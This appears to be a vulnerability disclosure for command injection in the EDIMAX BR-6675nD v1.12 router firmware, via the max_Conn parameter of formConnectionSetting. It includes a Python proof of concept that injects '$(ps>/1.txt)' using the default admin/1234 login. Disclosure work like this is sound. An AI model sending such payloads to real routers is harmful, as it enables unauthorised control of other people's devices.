Overview

• The device's official website: https://download.edimax.com/mw/cufiles/files/download/Firmware/BR6675ND_v1.12(TaiwanOnly).zip

Affected version

BR-6675nD v1.12

Vulnerability details

The EDIMAX BR-6675nD v1.12 firmware has a command injection vulnerability in the formConnectionSetting function. The Var/v3 variables receive the max_Conn/timeOut parameters from a POST request. . However, since the user can control the input of these variables, the statement system() can cause a command injection.

POC

import requests

ip = "192.168.2.1"

payload = "$(ps>/1.txt)"
data = {"max_Conn": payload}
url = f'http://{ip}/goform/formConnectionSetting'

res = requests.post(url=url, data=data, auth=("admin", "1234"), verify=False)
print(res)